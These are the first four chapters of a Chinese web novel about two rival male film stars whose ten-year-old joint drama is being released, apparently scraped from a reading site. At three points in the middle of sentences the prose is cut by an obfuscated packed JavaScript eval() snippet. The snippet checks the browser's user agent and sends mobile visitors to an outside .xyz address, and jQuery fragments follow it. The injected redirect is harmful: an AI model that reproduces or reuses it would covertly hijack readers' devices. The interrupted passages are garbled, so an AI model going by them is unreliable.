《这样的对家不谈恋爱可惜了》 1. 第 1 章 A国京城，星辰影视。 亮着的电脑屏幕上显示着今天的热搜榜单，随随便便瞟一眼就能看到很多相同的关键字。 耽美。 百合。 眉目精致的青年坐在办公室宽大的老板椅中，身子慵懒地歪倒在扶手上，一手撑着下巴，一手拿着手机不停看看看，金丝眼镜反射出屏幕上的画面，嘴里还时不时嚎一句，这疯疯癫癫的样子，高贵冷艳的气质都有些维持不住。 “呜呜呜，你们能不能莫名其妙亲一口啊，就当是为了我好不好？” “啊啊啊，这都不亲，周教授你是不是不行！” “这都第八集了，说好的八集定律呢？别的剧都亲了，你们还在这给我玛卡巴卡！” “光是壁咚有什么用？亲她呀，把你老婆的嘴巴给我亲肿啊周教授！” 在这样奇怪的话语中，一旁穿着西装的微胖男人可怜兮兮地坐在小椅子里，拿鼠标点击电脑屏幕，歪着身子去看热搜。 “啧啧啧，知攸，你猜这是这两个月官宣开机的第几部耽美剧和百合剧了？” 青年脸上满是姨夫笑，嘴里不停地叭叭叭，纤长白皙的手指不停打字发着弹幕，听到经纪人的问题，把手中的电视剧暂停，微微侧头看了眼热搜榜单，又回头继续看电视剧，回答得漫不经心。 “一百来部？” “小瞧这波泼天富贵了吧？据不完全统计，已经超两百部了。”微胖男人摇摇手指。 “夺少？！”左知攸面露诧异，身子都坐直了，“两百？” “暂时两百多，听说影城都人满为患了。” 左知攸摇摇头坐回去，对这些新剧不抱期待，继续美美地看他的视频。 “而且我还听说有很多以前积压的剧能过审了。”经纪人又道。 积压的剧？ 左知攸发弹幕的手顿了顿，脸上的姨夫笑不知何时变浅，打到一半的弹幕没有继续打字，视线虚虚地落在前方的空气中，不知道在想什么。 “不过这也没办法呀，谁让咱们国家同性婚姻刚合法呢？”微胖男人还在继续看热搜，感叹着热搜上的盛况，“从合法到现在，都有五十多对同性艺人官宣了，我平时都不知道咱们圈里竟然有那么多同性恋人呢。” “现在很多品牌方也想接住这一波泼天富贵，从官宣的同性艺人中选了不少代言人。” “还有人猜你一直单身是不是在谈地下恋情，还是同性的那种，不过我让工作室发声明了，别看网上都是一片祝福，可都闹两个月了，网友们也该有逆反心理了，咱们就不要去凑这个热......” 嘟嘟嘟嘟~~~~ 手机铃声响起，叭叭个不停的经纪人看一眼备注，轻咦一声：“刘铭？我什么时候存有这个人的号码了？咱们都不是一个圈子的。” 听到这个名字，左知攸回神，轻轻一瞥备注的名字，确定没看错，大概猜到了什么，含笑桃花眼满是清冷：“我的第一部剧可能要有动静了。” “哦，对，我记起来了，你第一次拍戏就是在跟他合作，这都十年不联系了，怎么突然......”经纪人说着说着，有种不祥的预感，“不会吧？难道这部剧也要......” “先接电话吧。”左知攸把视频关掉，站起来去饮水机旁打水。 清透的温水一点点落入杯中，发出很轻微的水声，经纪人打电话的声音传来，左知攸垂眸没看，耳朵却不由得竖起仔细听。 “要重新剪？重新做特效？” “这不是一部小成本剧吗？” “以前的老板主动加投资？” “行，你不用担心，只要剧能播，咱们这边的宣传肯定会跟上，不会因为其他事情耽误工作的。” 经纪人这电话越打越想叹气，等挂了电话，下意识去找左知攸，瞧见他面前的水都流到地上也没关掉饮水机，这口气还是叹出来，走过去把饮水机关了。 “这部剧要上了。”左知攸面色无常，似乎并没有看见地上这一滩水，端起水杯回去坐着慢慢喝。 经纪人也没时间管这些水，跟着走过来，欲言又止。 把水喝完，左知攸瞧他的样子，不在意地轻笑：“放心吧，这件事情早就过去了。” 经纪人瞥一眼那边的水渍：我看过不去。 “有说什么时候吗？”左知攸将水杯放到桌上。 “特效不好做，保守估计半年到八个月左右。”经纪人偷偷看他的表情，“这部剧是你和宁......咳，是你们两个主演的，以你们现在的地位，只要剪好送审通过，很快就能定档，到时候......” “都过去十年了，你担心什么？当寻常工作对待就行，你不用这样。”左知攸语气淡淡，重新拿起手机看一眼日期，现在是五月份，半年到八个月的话，到时候是冬天吧？ 十年前，也是冬天。 经纪人笑了笑，心里叹气：真能当正常工作对待就好了。 “不说这个了，这件事你来处理吧，该预热预热，该直播直播，该上节目上节目，到时候需要我做什么直接通知我就行，我先继续磕我的cp啦。” 左知攸重新一笑，重新打开视频继续看，嘴里还像平常那样时不时嚎一句，看起来真的没有任何问题，等经纪人真的离开办公室后，脸上笑意消失，一手将视频暂停，把手机丢到桌上，深吸一口气，重重叹气。 “心情真差。”他不满地嘟囔，脸颊鼓起，眼眸低垂，用脚踢了一下桌子泄愤。 搞什么啊，10年都没能过审的剧，突然又挖出来做什么？ 提醒他当年的狼狈吗？ 电脑屏幕还在亮着，圈里一对对恋人在上面成双成对，衬得他的形单影只可怜极了。 “有什么了不起的。” “不就是谈恋爱吗？跟谁没谈过似的。” 说起这个恋爱，他又气得踹了一脚桌子，力气没掌握好，踹得他连人带椅子往后滑撞到玻璃上差点摔倒，气得他又忍不住叹气，懒得去看那些成双成对的热搜，转过老板椅看向外面的车水马龙。 结果，人倒霉了喝凉水都塞牙。 一抬头，竟然就看到了对面大厦的大屏广告，身材高大的男人坐在椅子里，那双十年前沉默冷僻的眼眸满是柔和，那张十年前严肃正经的脸竟然还挂着笑。 人一旦变了，真是能变得彻彻底底。 “烦人！” 左知攸气呼呼地滑动椅子回去，拿出遥控器把窗帘合上，又看到成双成对的热搜榜单，只觉得刺眼得很，气呼呼地把电脑给关了。 这鬼办公室，哪哪都烦人，还是出去好了。 走到门口前，深吸一口气，把自己的表情调整好，整理一下衣服和头发，抬手轻抚金丝眼镜，偶像包袱捡起来，打开门迈着矜贵的步伐走出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950548|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “左老师好。” 路上遇着公司的其他工作人员问好，他轻轻点头以作回应，走到电梯前，正要按，电梯已经走到32层，叮的一声打开。 星辰影视，乃至娱乐圈的双帝之一，宁柏右的身影缓缓出现，疲惫的眼神在看到他的时候似乎有一瞬间亮了。 左知攸瞳孔微缩，双唇微抿，一个眼神都没给，等门打开就直接走进去，按着电梯开门按钮，微抬下巴：狗东西，滚出去吧。 宁柏右噙着温和的笑，偏头对身后噤若寒蝉的几人道：“我忘了拿东西，你们先出去吧。” 众所周知，A国娱乐圈双帝，势同水火。 偏偏两人还是一个公司的艺人，每次见面都是修罗场。 小小电梯里好像又冷又热，众人有种身处冰火两重天的感觉，左影帝那边冷若冰霜，宁影帝这边如春风拂面。 大神打架，小菜鸡赶紧走！ 不到十秒，电梯里其他人走了个干干净净，连要进电梯的同事们也默默选择等另一台电梯，一个个缩在不远处装作很忙的样子，余光却八卦地等着后续。 叮！ 电梯合上的一瞬间，双帝一人占据电梯的一边，犹如隔了一条银河。 电梯下行，宁柏右看着电梯金属墙中那道身影，还是有些瘦，上部戏都杀青半个月了，都没长回来多少肉。 “我听说那部剧今年年底可能就要上。” 叮！ 电梯打开，外面是公司餐厅，等着要进电梯的几人看到里面的情况，后退半步，匆匆忙忙离开。 叮！ 电梯合上，里面重新安静下来。 眼看就要到一楼，宁柏右偏头：“我听说那部剧今年年底可能就要上。” 左知攸面色不变，盯着电梯屏幕上的楼层信息，忍住抱臂翻白眼的不雅行为。 切，不就是一部剧吗？ 上就上呗。 一个普通工作而已。 他才不在意。 叮！ 电梯到一楼，他走出去之前，特地按了一下关门键，留下一个冷淡的背影。 大厅中等电梯的人默默后退，远离他的冰霜领域，也不敢越过他去坐温和宁影帝的电梯，眼睁睁地看着电梯合上。 宁柏右微微叹气，伸手将亮着的B1按钮取消，电梯重新上升。 叮！ 电梯回到32层，这里出奇地安静，很多人不知道去了哪里，宁柏右像是一点也不意外，轻佻眉尾，抬脚往办公室走。 果不其然，刚到走廊就看到两个熟悉的人影站在走廊两边，一左一右，双双抱臂，周围空气紧张，似乎随时都能开战。 “我家宁老师脾气好，从来不跟人生气。”穿着红西装的高挑女人红唇挑起，意有所指。 “那也是因为我家左老师从来不屑与不相关的人浪费口舌。”穿着黑西装的微胖男人阴阳怪气。 叩叩！ 宁柏右随手敲旁边的门，提醒他们该住口了。 周雯收敛脸上的倨傲，挂上老母亲笑容，下意识看了一眼他的手，瞧见两手空空，嘴角抽了抽：“宁老师，你回来了，东西拿了吗？” “嗯。” 李志往他身后看，瞧见没人，叫声“宁老师”就昂首挺胸走人。 他可不是怂，主要是左老师不在，没必要跟这两人一般见识。 2. 第 2 章 A国京城，星辰影视，31层，左知攸专属楼层。 一道道激动非常的叫声从化妆间里传出来。 “啊啊啊，周教授，你现在就给我亲，给我亲！” “别看了呀，这集快结束了，你们别对视了，现在就亲好不好？” “现在，立刻，马上，给我do，爸爸妈妈，我要出生，我要出生！” “进度条，撑住，你给我撑......啊啊啊啊！没了！今天没了！为什么要停在这里！” “我真是麻了，每次都这样吊我胃口。”左知攸激动到发粉的脸颊慢慢冷静下来，叹着气将手机丢到桌上，不满地嘀嘀咕咕，“明天更新要是没亲到，我就给编剧寄刀片，气死我了。” “这次应该能亲到了吧？这都第十集了。” “不行，我要看看预告。” 他重新把手机拿回来打开预告，里面并没有接着第十集的亲吻画面，根据他多年看剧磕cp的经验，十有八九是没亲上。 男主角温柔抱着喝醉的女主角的画面让他又挂上姨夫笑，但想到男主的锯嘴葫芦，笑容又垮下来。 “真是的，你行不行啊，每次都在我女鹅不知道的时候付出，你长嘴巴是用来装饰的嘛？” “真是急死我了。” 预告很快就结束了，他又叹着气把手机扔到桌上，乖乖巧巧闭上眼睛让化妆师忙活。 门被从外面打开，李志拿着一个文件夹走进来坐到旁边的椅子里：“知攸，《司鹿极梦》要开始宣传了，剧组那边把所有物料都发过来了，让我们标一下不希望发出去的视频。” “司鹿极梦？”左知攸听着这陌生的名字，愣了一下，寻思着自己什么时候接过......哦，一听这个名字就知道是古装仙侠剧，他接过的，“改名字了？以前不是叫《梦影》吗？” “啊。”李志也是一愣，心想什么叫改名字？人家本来就叫这个......哦，十年前的确是不叫这个名字，难为他家左老师还记得了，“嗯，改了，你大概看一下内容列表？看有什么不想发的。” “你自己选吧，一个常规工作而已，跟平时一样就行。”左知攸不在意地道。 也不想想这部剧是什么情况，李志哪敢当常规工作啊，小心翼翼地询问：“那物料里，拥抱，额，开玩笑，打闹，一起吃饭，还有亲......” 左知攸平淡的表情一边，犹如被踩到了尾巴的猫，咬牙切齿：“我什么时候在片场和那狗东西亲过了？！” “对戏。”李志小声。 “......”左知攸咬牙，被过去的记忆痛击，心脏密密麻麻的酸胀，重重一哼，闭上眼睛，“我不知道，你定吧。” “那，那我打叉了？” 左知攸毫不犹豫点头，开口时顿了顿，嘴角轻轻一撇：“剧组是不是也给狗东西发物料了？” “那肯定是要发的。” “到时候能发的物料都是我和狗东西没打叉的那些？” “嗯，只要双方有一个打了叉就不会发。”毕竟是娱乐圈双帝，地位早已和十年前不同，剧组哪敢随便啊。 左知攸看着镜子里犹豫的自己，含情桃花眼里点缀着几分低落，只觉得不争气，眼神冷下来：“那这些都给我打叉。” “行。” 李志也不发表意见，拿起笔就干，刷刷刷打了一大片叉，左知攸气了一两分钟，见他还在打叉，疑惑地看过去，只瞧见一片红，忍不住又咬牙。 真烦人！ 他和狗东西以前有那么好吗？ 那怎么还分了？ 果然，自古深情留不住。 “算了，你按平常的标准来吧。”再这么打叉下去，狗东西那边肯定也是一片红，剧组还要不要宣传了？“怎么说也是我第一次拍戏，别让成绩太难看了。” 李志哦了一声，停下笔，像是早就猜到一样，从文件夹里拿出一份新的，慢悠悠打了几个叉，快速合上文件。 “那我出去了？” “嗯。”左知攸合上眼睛，“以后这部剧不用我出面的事情别问我。” “行。” 李志抱着文件夹走出去，进电梯的时候，把真的那份表格放到最下面，还用一张白纸盖住，上面摆着那份红彤彤的表格，昂首挺胸来到30层，在宁柏右团队的视线中来到最里面的办公室外敲门。 左老师可以不理睬宁柏右他们，但他是经纪人，得过来对接。 “哟，李大经纪来了？”周雯开门，好奇看了一眼他手中的文件夹，被那一片红刺痛了眼睛，深吸一口气，皮笑肉不笑，“左老师打的叉？” “怎么？你们不打？”李志轻嗤，与她擦肩而过，“来吧，对接一下以后的宣传方案，别在外面闹得太难看，毕竟都是一个公司的，还是得给老板一个面子。” 周雯扬起假笑，心里气极：算了，算了，有什么好气的，这几年不是都习惯了吗？ “李大经纪，你们打的叉是不是有点多了？” “多吗？一点不多啊，还留了不少呢。”李志翻翻表格，每一张纸都是一片红，周雯看得都要心脏病发，走过去笑着问，“李大经纪，这样剧组怎么宣传呢？左老师的标准是不是太严格了？” “诶，你别误会，这不是左老师打的叉。” “那就是你自作主张？” “我问过才打的，你们那份呢？我瞧瞧。” 周雯：......都没几个叉，根本拿不出手，好气。 李志看她这样子就知道是怎么一回事，面带不屑，迟来的深情比草贱，伸出手：“别浪费时间了，咱们左老师今晚还有工作呢，可不像你们那么闲。” “我们宁老师刚杀青没几天。” “哟，这就没工作了，这么糊啊？” “......你这话过分了吧？”周雯咬牙。 李志微微收敛，四处扫视，自己去把桌上的文件夹拿起来看，翻开见没几个叉，也没多高兴。 他们经纪人啊，和自己艺人自然是在一条阵线上的，知攸叫一天狗东西，他就一天不给好脸色。 “啧啧啧，你们这标准还挺宽松啊，行吧，我把表格拿回去，再劝劝左老师，别太把前任当回事，咱们下午再对宣传方案吧。” 看着他昂首挺胸离开，周雯气不打一处来，冷哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950549|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“神气什么。” 哼完，又想起他那句“别太把前任当回事”，深吸一口气，踩着高跟鞋追出去把人送到电梯里，讨好地笑：“李大经纪，还是要当回事的。” 李志假笑：“切。”当年不把感情当回事，现在回头做什么，狗东西真有病！ 叮！ 电梯回到31层。 “喏，知攸，那边的表格。” 左知攸端坐在椅子里闭着眼睛化妆，连眼皮都没掀开：“你对接就行，不用告诉我。” “今天周雯的态度很奇怪。”李志摸着下巴思考，“我怀疑姓宁的想吃回头草。” 左知攸微微掀开眼皮，伸手将文件拿来，随意翻开看几眼，轻扯唇角，觉得有些讽刺：“我该说谢谢吗？” “那你怎么想？” “不想。” “行。”李志知道了，态度不变，把文件拿回来往外走，“下午我去对接宣传方案，你没其他想法吧？” “没有。”左知攸重新闭上眼。 “OK！” 感觉到他的心情不是那么美妙，造型团队小心翼翼地工作着，又快又专业地把他的造型搞定，所有人麻溜地离开。 屋里只剩下左知攸一个人。 他睁开眼睛，和镜子里的自己对视，垂眸盯着自己的左手无名指上的铂金戒指，眼底闪过一丝凉意。 回头草吗？ 对，他已经是回头草了。 那这戒指戴着做什么？ 叮叮叮~~~ 铂金戒指被丢在桌上，转了几个圈撞到手机上，纤长白皙的手伸过去，在空气中停了两秒，最后只拿走手机。 哒哒哒！ 鞋子踩在光滑的地板上，门被打开一条缝隙。 他停下动作，回头看向台上，沉默几秒，微微叹气，回去把戒指拿起来，塞到口袋里。 “这戒指我也花了钱，凭什么扔掉？”扔了好像他很在意似的，切！ 李志在外面等着，看门开了，扬起的笑容还没够大就发现门又关了，疑惑地等了一会儿，又等到人出来，下意识美美欣赏自家艺人的美貌：“出来了？先吃点东西吧，垫垫肚子，吃完就该去会场了。” 然后，说完，他发现，左知攸的戒指...... “戒指呢？” 左知攸举起左手，无名指上有一圈浅浅的印子，心情很好地轻笑：“扔了。” “啊？” “以前觉得这个戒指挺好看的，留着也没事，可有些人啊，不说话，我就当他死了，非要弄出点动静来，可就违背前任原则了。”左知攸慢慢走在走廊上，“好的前任，就该跟死了一样，对吧？” “可这个戒指你不是戴了......” “以前忘了和他的是一对。” 行吧。 李志干笑着点头，送他到休息室，然后回化妆间找了一会儿也没找到，叹着气蹲在垃圾桶里仔仔细细翻了十几分钟也没翻到，抬头看到开着的窗户，嘶了一声。 “不会扔到外面了吧？” 夭寿啊，这哪找得到啊，而且这可是高空抛物，可千万别砸到人。 3. 第 3 章 昏暗的房间内，仅有一盏壁灯提供光源，处于明暗交替区域的沙发中，穿着睡衣的男人眉眼低垂，浓密的睫毛将眼神遮在阴影中，下颚收紧，用力握紧手中的手机，屏幕上是一张放大的照片。 身着高奢流苏西装的青年提笔站在签名墙签名，背影清冷，握笔的手修长有力，另一只手握着话筒，白皙的无名指上空空如也。 戴了十年的戒指消失不见，活动的主持人也忍不住问。 “丢了。” “以前习惯了一直戴着，现在突然觉得换新的也不错。” 青年嗓音冷淡，直播时的回答似乎还回荡在这间安静的房间内。 “丢了吗？要换新的戒指吗？”男人伸手抚摸右手无名指上的铂金戒指低喃，轻轻转动拿出来，指节上那圈淡淡的印痕在昏暗灯光下完全看不见，唯有仔细抚摸才能感受到印痕的存在，就像那个冬天的美好记忆，就算被记起来，知道就在那里，能抚摸到，还是无法阻止被掩去的事实。 时隔十年的一次主动搭话，换来的是戒指被丢弃。 是在提醒他，该放下了，体面一点，别让彼此都像当年那样狼狈，对吗？ 那就放下吧。 换个新戒指，往前看吧。 戒指被放到茶几上发出轻微的声音，小小一枚戒指静静躺在桌面上。 -- 杂乱有序的片场，花絮老师们用摄影机记录少年们的对戏场景。 “哎哟哎哟哎哟，我的头发，斯雨，你别走了，你衣服勾到我头发了！”年轻稚嫩的鹿角少年穿着银色古装，痛苦地捂着头发，噘着嘴要哄。 金色古装少年转身，刀柄轻轻勾起一缕被绳子绑住的银发，冷脸挑眉：“勾？” “你就说我的头发是不是在你身上？” 金服少年点头：“是。” “那不就对啦？”银服少年抬手一弹头上的鹿角，眉眼弯弯，“那是你的错吧？你该怎么做呢？” “对不起。” “嚯，真是没有诚意的道歉呢，我不满意。” 金服少年将手中的刀挂到腰上，转身继续走在荒僻小路上，语气冷淡：“你是个鹿妖，常年在森林里生活，没那么快累。” 鹿角少年噘嘴，灵动的大眼睛一转，笑着快跑几步跳到金服少年背上，紧紧抱着他的脖子：“鹿妖怎么啦？鹿妖就不能懒吗？” 金服少年没绷住脸，抿唇笑着，步伐比刚才更稳重几分，连一块大点的石子都会绕开。 “咔！”左知攸双手一拍手动打板，疑惑地把下巴搭在宁柏右肩膀上往前凑去看他，“右右哥，你怎么不走直线呀？” 宁柏右耳朵肉眼可见地红了，看向别处，不敢和背上的少年对视：“我，我......” 路上没被清理过，有几块石头，他怕跨过去的动作太大会让少年觉得不舒服，很简单的一句话，他却不知道为什么开不了口，“我”了好久都没说出来。 “我觉得这样挺好的。”导演的画外音传来，笑着道，“路就不扫了，到时候你就这么走，不过你脸上的表情收敛一点，别笑，把脸绷着啊，就算笑也高冷一点，斯雨的表情没有那么丰富。” “好。”宁柏右微微点头，用力将脸上的喜爱按下去，恢复平日里的表情。 “对，就是这样，去玩吧。”导演笑呵呵的。 左知攸听见，笑着晃晃自己的腿，一拍宁柏右的肩膀：“驾！” 宁柏右刚放平的嘴角又忍不住勾起，冷峻的脸庞带上明显的笑意，宠溺地背着自己的少年绕着片场跑了两圈才停下来。 片场中充满着少年们的欢声笑语，工作人员们全都挂上姨母姨夫笑。 “知攸，柏右，别玩了，来准备下一场的吻戏！” 少年们脸颊嘭的一下红了，不由自主对视，扭扭捏捏地一起回来。 花絮视频进度条来到最后一秒，屏幕定格在最后出现的“司鹿极梦”四个大字上。 【啊啊啊啊！吻戏！吻戏！导演！把吻戏的花絮放出来啊啊啊！】 【我是不是在做梦？这对对家竟然有过合作？！！！】 【咱就是说，花絮老师，他们的表情是不是安错了呀？】 【爱笑的应该是宁影帝吧？冷脸的应该是左影帝吧？我晕了，甚至怀疑我是不是记错了。】 【他们以前那么要好吗？那为什么会变成现在这样？呜，这该死的be感，鼻子酸了。】 【十年前眼神拉丝，十年后恨不得提刀打架？呵呵呵，这个世界真神奇啊。】 【磕糖人来了，磕糖人手足无措，经验告诉我两个帅哥谈恋爱，娱乐圈双帝荧幕初吻会很好磕，可他们现在势同水火呀，这糖好硬啊，好怕崩了牙。】 【这个世界就是一个巨大的乐子，我倒要看看对家要怎么营业哈哈哈！】 【人剧分离吧，看花絮感觉会很好磕，不磕真人就好了。】 【是鹿妖小书不够活泼可爱，还是猎魔使斯雨不够帅？娱乐圈双帝是谁呀？不熟，谢谢。】 《司鹿极梦》的第一份花絮发布，没过一小时，#双帝有吻戏#势如破竹登上热搜，说什么的都有，得益于两人的火爆人气，各大平台已经有人剪辑他们以往的作品和活动视频，和《司鹿极梦》一起二创。 经过几天厮杀，BE类视频力压其他视频，霸占各大平台榜首。 别问，问就是素材很多。 两人出道后就没过主动有过交流和互动，每次活动好不容易有主办方牵头让他们互动，左知攸不是不笑就是假笑，眼中的疏离与冷漠毫不掩饰，宁柏右以前也爱冷脸，后来脾气变好了也从不主动，主办方不戳就不动。 就这种死对头，平时都没人敢乱磕，但两个地位相同的帅哥，谁能说一句不好磕呢？ 就是不管怎么样都是相爱相杀和be而已，纯爱？不可能的，这两人怎么可能纯爱？ 瞧瞧，他们以前也有过合作，不还是因爱生恨啦？这能纯爱？必须是纯恨啊！ 以往圈地自萌的cp粉们挥舞着剪刀，从各个角度向世人安利他们的纯恨cp。 “真烦。”左知攸翻找着短视频平台上的视频，想要找点甜甜的cp视频看，结果刷新一下，十个视频有六个都是纯恨cp！ 对，没错，就是他和宁柏右的cp。 离谱。 又很合理。 他现在跟宁柏右，是纯恨没错呀，是BE了没错呀。 不得不说，他们磕糖人的确是火眼金睛没错了。 左知攸脑海里胡思乱想，翻了好久视频都找不到一个想看的，平时追的剧也看不下去，干脆拿出下一部戏的剧本认真看。 -- 《司鹿极梦》正在重剪，官方号隔三差五发一个物料，维持着热度。 时至七月，同性cp的热度依旧很高，还在各种刷屏，路人逐渐逆反，真恋人自然是得到了大家的祝福，但蹭热度的各种营业cp接连被扒，收获骂声一片。 十年死对头，近期似乎要合体营业的左知攸和宁柏右也成为扒一扒的目标。 不过，左右cp的纯恨值太高，两人如今双双进组拍戏，平时也没有主动营业过，最多也就配合剧组发发动态而已，很快就被网友们放过。 营业cp们被扒得多了，泼天富贵没接到，反倒工作受到了负面影响，一时间，圈内迎来分手潮。 历经四个月的狂欢，网络上又恢复正常。 就在这时，《司鹿极梦》小心翼翼地发了一个预告片。 莹莹森林深处，银色小鹿脚踩白云在草丛中蹦蹦跳跳，于湖边化作鹿角少年，剔透的双眸弯弯，歪头看向前方。 画外娇贵少年音飘来。 “我叫小书，你叫什么名字？” “鹿妖怎么啦？我还在皇宫里当过祥瑞呢， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950550|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是在宫里当过差的，有何不同？” 黑色魔气在森林中快速穿行，画面一闪，耀眼金光追来将魔气斩灭，金服少年自空中旋转落下。 画外沉稳少年音传来。 “我叫斯雨。” “你是鹿妖，我是猎魔使，我们不同。” 无边云海深处，金服少年与银服鹿角少年依偎坐在云上，金轮升起为他们镀上一层金光，银服鹿角少年含泪弯眸，连炙热的阳光也无法驱散眸中的不舍。 “斯雨，怎么办，我好像撑不住了。” “我会去天河把你带回来的。” “天河那么多死魂，找不到的话，你不准哭哦。” “我能找到，一定能找到你。”少年坚定的声音微微发颤。 华贵天宫，鹿角王冠华服小殿下叉腰大喊：“我是绝对不会向包办婚姻低头的！” 清冷仙君在棋盘上轻轻落下一子，在好友面前立场坚定：“我会取消这场婚约。” 天河灵门快开了，小书还在等着我。 仙君在心里补充道。 进度条结束，十年前两位少年的剧照定格，左知攸眉眼弯弯，眸光潋滟，宁柏右冷峻沉默，余光却在偷偷看旁边的少年，眼底克制着爱意。 左知攸，饰小书/姬殊。 宁柏右，饰斯雨/司御。 【呜呜呜，哭死了，他们以前真的好好啊，为什么现在会变成这样啊？】 【谁懂啊，看了两个月的物料，剧都没播，我就在磕与不磕之间疯狂跳跃。】 【物料和预告在拼命把我拉回纯爱领域，可现实的左右cp又疯狂提醒我他们只剩下纯恨了！】 【双帝都进组了，哈哈哈，心好痛，你们就不能提前营业吗？推我一把吧，给我一个去磕纯爱的理由！】 【不，我不要顶峰相见却爱已不在！】 【那个冬天那么美好，真的回不去吗？】 【说好的要人剧分离，可面对这两张脸，看着他们和过去截然不同的性格，真的好难人剧分离啊。】 【斯雨，你一定能把小书找回来的对吧？那宁柏右，你能不能把左知攸也找回来？】 “知攸，《司鹿极梦》应该要定档明年1月1日了。”李志过来探班，趁午休吃饭时聊聊工作，“还好当年虽然投资不多，但钱都花在该花的地方，你们演技也很好，我看了几集，效果挺不错的，特效很棒，播出反响应该挺乐观。” “根据我多年追剧的经验，越吹越扑。” 李志：......也不要这么咒自己的作品吧。 “你来就说这个？” “咳，是这样的，剧组和平台递话说，如果可以的话，下次出活动的时候，你和那边可以不要这么不熟，平时也可以提前营业一下下。” 左知攸慢悠悠喝着汤，等喝完，轻轻擦拭嘴角：“剧播不是还有半年才到？” “咳，你们以前的物料挺甜的，大家都很想磕，但鉴于你们现在的关系，又不太敢磕。”李志一边说一边看他表情，“最近一堆新剧在上，想要厮杀出来不容易，这部剧主要是爱情线，要是cp磕不起来，等播出后，就算你们人气再高也可能扑，平台和剧组那边挺着急的。” 左知攸下意识抚摸左手无名指，没摸到戒指，手顿了顿，弯唇笑：“都在圈里混那么多年了，虽然没营业过，但我也不至于耍这种小性子。” 李志去看他的手，想到那枚找不到的戒指，心里叹气：“明天是宁柏右的生日，到时候你发条生日祝福的动态？” “他生日不是十二月吗？” “啊？身份证上不是七月吗？这些年他都是七月过生日啊，那这个祝福咱们还送吗？” 左知攸打开手里的剧本做标注，语气平静：“送啊，怎么不送？” “那你记得写一条定时零点的祝福。” “为工作负责，应该的。” 4. 第 4 章 “好了，收工！”导演拿着大喇叭在片场喊，“左老师，别对戏了，先回去休息，明天还要早起拍日出戏。” “好。”左知攸比了个OK的手势，继续跟几位老前辈讨论，有点想法就跟他们一起大概演一遍，感觉对了才结束。 明天还要早起，他和大家道别，走上房车靠在柔软的沙发上闭目养神，助理小方过来轻声提醒他别忘了零点祝福的事情。 左知攸睁开眼睛，伸手将手机拿过来，打开软件登陆账号，编辑的时候第一个拼音好久都没按下去，手指悬在手机上方，小方跟了他三年，前辈助理们也提醒过自己，大概也知道以前的事情，保持着助理该有的边界感，默默去切水果端过来，什么都没说。 果盘放到桌上的声音很轻，成功让左知攸回过神。 “小方，志哥有说要怎么写祝福吗？大概要什么感觉？冰释前嫌？亲密营业？” “他说您喜欢发什么就发什么。” 左知攸懂了，就是自由发挥，面子上过得去就没问题，这也不难啊，不就是一条祝福吗？半分钟的事情。 【生日快乐@右右哥宁柏右】 打完这几个字，他做好定时，正准备熄屏，又回去重新编辑：“算了，毕竟是营业，别太生疏。” 【右右哥生日快乐@右右哥宁柏右】 看着这个称呼，他心里又酸涩又烦躁：“我干嘛还这么叫他啊，也不是很熟。” 【29岁生日快乐@右右哥宁柏右】 把称呼改成年龄，他还是看不顺眼：“对他的年龄记得那么清楚，也显得我太关心他了吧？” 【生日快乐@右右哥宁柏右】 重新变回最开始的祝福，他还是觉得哪里不太对：“再加个标点符号吧。” 【生日快乐。@右右哥宁柏右】 还是不对。 他不喜欢这条。 想了许久，他终于知道为什么不喜欢，冷笑：“嗤，还生日祝福？狗东西配我的祝福吗？也就只配个标点符号。” 【。@右右哥宁柏右】 句号啊。 可真是熟悉又陌生的标点符号呢。 狗东西以前跟他聊天，老喜欢发句号，也就是他主动才不会把天聊死。 生日祝福是句号？ 那可不行。 发了这句号，说不定狗东西还以为他怀念过去呢！ 他冷脸把句号也给删了：“狗东西连我的标点符号都不配。” 【@右右哥宁柏右】 定时零点，搞定！ 片场在城外，位置比较偏僻，附近没有酒店，只有一家被剧组包下来的宾馆，房车很快就回到宾馆外面停下，等了十几分钟才等到他放下手机回去休息。 进了房，提前回来的助理小丽早已准备好晚餐。 八菜一汤，菜式精致，一看就是去城里大酒店加急买来的，下面还放了小炉子，现在还热着呢。 这里交通不方便，他们平时可都是吃农家菜的。 左知攸轻笑着坐下来，拿起筷子准备吃饭：“今天怎么这么丰盛？别站着了，一起吃吧，这么多菜吃不完就浪费了。” “志哥说您今天受大委屈了，可得好好哄。”小丽古灵精怪地笑着道。 “委屈？”左知攸眼眸微转，大概明白了，笑着摇头，“为工作负责，又不是献身，没有什么委屈的，吃饭吧。” -- 【让我康康谁是开心果左知攸：@右右哥宁柏右】 